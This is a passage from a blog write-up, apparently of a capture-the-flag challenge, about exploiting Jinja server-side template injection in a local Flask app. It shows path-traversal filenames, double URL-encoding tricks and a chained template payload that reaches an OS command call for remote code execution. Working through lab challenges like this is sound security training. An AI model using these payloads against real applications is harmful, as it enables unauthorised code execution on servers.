aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly> {% include \"errors\/\" + error + \".html\" ignore missing %}<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki monokai\" style=\"background-color: #272822\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #F8F8F2\"> {<\/span><span style=\"color: #F92672\">%<\/span><span style=\"color: #F8F8F2\"> include <\/span><span style=\"color: #E6DB74\">&quot;errors\/&quot;<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #F92672\">+<\/span><span style=\"color: #F8F8F2\"> error <\/span><span style=\"color: #F92672\">+<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #E6DB74\">&quot;.html&quot;<\/span><span style=\"color: #F8F8F2\"> ignore missing <\/span><span style=\"color: #F92672\">%<\/span><span style=\"color: #F8F8F2\">}<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">so it seems &#8220;<strong>bad_content<\/strong>&#8221; is the html page inside the errors folder. This means that we can inject our page created before instead of this.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"653\" height=\"243\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2025\/12\/image-7.png\" alt=\"\" class=\"wp-image-313\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2025\/12\/image-7.png 653w, https:\/\/thered0ne.com\/wp-content\/uploads\/2025\/12\/image-7-300x112.png 300w\" sizes=\"auto, (max-width: 653px) 100vw, 653px\" \/><\/figure>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"498\" height=\"498\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/yes-baby-1.gif\" alt=\"\" class=\"wp-image-220\" style=\"width:253px;height:auto\"\/><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">So we are close to solve our challenge. This is an SSTI we are sure now ! Let&#8217;s think like a Hacker or are we already hackers ? \ud83e\udd2a<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The question to ask is how to inject some sort of payload that can list the directory content ? There are lot of solutions but this is where magic happens ! Each one will find his own solution. There is no single payload. My approach was to understand how this vulnerability works and how maximize my learning from this. I think I took the long road here but it allows me to create my own solution which was worth it.<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#272822\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" style=\"color:#F8F8F2;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>..\\templates\\errors\\rce {{self&#91;request.args.i&#93;}}<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki monokai\" style=\"background-color: #272822\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #66D9EF\">..<\/span><span style=\"color: #F8F8F2\">\\templates\\errors\\rce <\/span><span style=\"color: #E6DB74\">{{self&#91;request.args.i&#93;}}<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">The payload above will create a file named: <\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#272822\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" style=\"color:#F8F8F2;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>rce%20%7B%7Bself%5Brequest.args.i%5D%7D%7D-1ALa3ZVKXes.html<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki monokai\" style=\"background-color: #272822\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #A6E22E\">rce%20%7B%7Bself%5Brequest.args.i%5D%7D%7D-1ALa3ZVKXes.html<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">Our string was encoded which is normal because it contains some special characters. What this payload does is <strong>refers to the <strong>current template object<\/strong> <\/strong>(<code>TemplateReference<\/code>) using self. <strong>request.args.i<\/strong> Reads the query parameter <code>i<\/code> from the HTTP request.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The next idea that you are thinking about is to inject this in error parameter right ? Let&#8217;s try this and see what happens.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"978\" height=\"210\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2025\/12\/image-9.png\" alt=\"\" class=\"wp-image-316\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2025\/12\/image-9.png 978w, https:\/\/thered0ne.com\/wp-content\/uploads\/2025\/12\/image-9-300x64.png 300w, https:\/\/thered0ne.com\/wp-content\/uploads\/2025\/12\/image-9-768x165.png 768w\" sizes=\"auto, (max-width: 978px) 100vw, 978px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"582\" height=\"640\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/huh-rabbit.gif\" alt=\"\" class=\"wp-image-225\" style=\"width:216px;height:auto\"\/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Simply it doesn&#8217;t work ! Why then ? because of encoding and that&#8217;s where I took the long road to understand why.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Why Single Encoding fails:<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The file created is already encoded in the disk so it&#8217;s name is literally encoded<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#272822\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" style=\"color:#F8F8F2;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>rce%20%7B%7Bself%5Brequest.args.i%5D%7D%7D-XYZ.html<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki monokai\" style=\"background-color: #272822\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #A6E22E\">rce%20%7B%7Bself%5Brequest.args.i%5D%7D%7D-XYZ.html<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">When the apps redirects to it, the browser always decode before making the request and that&#8217;s why decoding the URL becomes:<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#272822\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" style=\"color:#F8F8F2;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>\/static\/rce {{self&#91;request.args.i&#93;}}-XYZ.html<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki monokai\" style=\"background-color: #272822\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #A6E22E\">\/static\/rce<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #E6DB74\">{{self&#91;request.args.i&#93;}}-XYZ.html<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">Which is not a valid path for finding the file.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">So how double encoding fixes it ?<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#272822\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" style=\"color:#F8F8F2;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>rce%2520%257B%257Bself%255Brequest.args.i%255D%257D%257D<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki monokai\" style=\"background-color: #272822\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #A6E22E\">rce%2520%257B%257Bself%255Brequest.args.i%255D%257D%257D<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">Submitting this, the browser will decode first the url which will become :<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#272822\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" style=\"color:#F8F8F2;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>\/static\/rce%20%7B%7Bself%5Brequest.args.i%5D%7D%7D-XYZ<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki monokai\" style=\"background-color: #272822\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #A6E22E\">\/static\/rce%20%7B%7Bself%5Brequest.args.i%5D%7D%7D-XYZ<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">This matches the actual filename on disk. and it&#8217;s going to be rendered. We will add the parameter &#8220;i&#8221; with the value &#8220;_TemplateReference__context&#8221;<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#272822\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" style=\"color:#F8F8F2;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>http:\/\/127.0.0.1:5000\/?error=rce%2520%257B%257Bself%255Brequest.args.i%255D%257D%257D-1ALa3ZVKXes&amp;i=_TemplateReference__context<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki monokai\" style=\"background-color: #272822\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #A6E22E\">http:\/\/127.0.0.1:5000\/?error<\/span><span style=\"color: #F8F8F2\">=rce%2520%257B%257Bself%255Brequest.args.i%255D%257D%257D-1ALa3ZVKXes&amp;i<\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #E6DB74\">_TemplateReference__context<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"955\" height=\"326\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2025\/12\/image-10.png\" alt=\"\" class=\"wp-image-318\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2025\/12\/image-10.png 955w, https:\/\/thered0ne.com\/wp-content\/uploads\/2025\/12\/image-10-300x102.png 300w, https:\/\/thered0ne.com\/wp-content\/uploads\/2025\/12\/image-10-768x262.png 768w\" sizes=\"auto, (max-width: 955px) 100vw, 955px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Voila ! \ud83d\ude0e<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Now that we have control over the file creation, the next step is to <strong>extend our payload toward remote code execution (RCE)<\/strong>. The ultimate goal, of course, is to retrieve the flag and complete the challenge.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The idea is to keep <strong>chaining parameters and expressions<\/strong> until we reach a context where an operating system command can be executed. This turned out to be trickier than expected, mainly because <strong>double encoding<\/strong> changes how payloads behave at each decoding layer. Many of the solutions I found online relied on similar techniques, but they didn\u2019t work in my case due to these encoding constraints.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">In the textarea, copy and paste this payload:<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#272822\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" style=\"color:#F8F8F2;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>..\\templates\\errors\\cmdRce {{self&#91;request.args.i&#93;&#91;request.args.j&#93;&#91;request.args.f&#93;&#91;request.args.l&#93;&#91;request.args.m&#93;&#91;request.args.n&#93;(request.args.cmd).read()}}<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki monokai\" style=\"background-color: #272822\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #66D9EF\">..<\/span><span style=\"color: #F8F8F2\">\\templates\\errors\\cmdRce <\/span><span style=\"color: #E6DB74\">{{self&#91;request.args.i&#93;&#91;request.args.j&#93;&#91;request.args.f&#93;&#91;request.args.l&#93;&#91;request.args.m&#93;&#91;request.args.n&#93;<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #A6E22E\">request.args.cmd<\/span><span style=\"color: #F8F8F2\">)<\/span><span style=\"color: #E6DB74\">.read<\/span><span style=\"color: #F8F8F2\">()<\/span><span style=\"color: #E6DB74\">}}<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">When executing this payload, mind the random value generated for the newly created file:<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#272822\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" 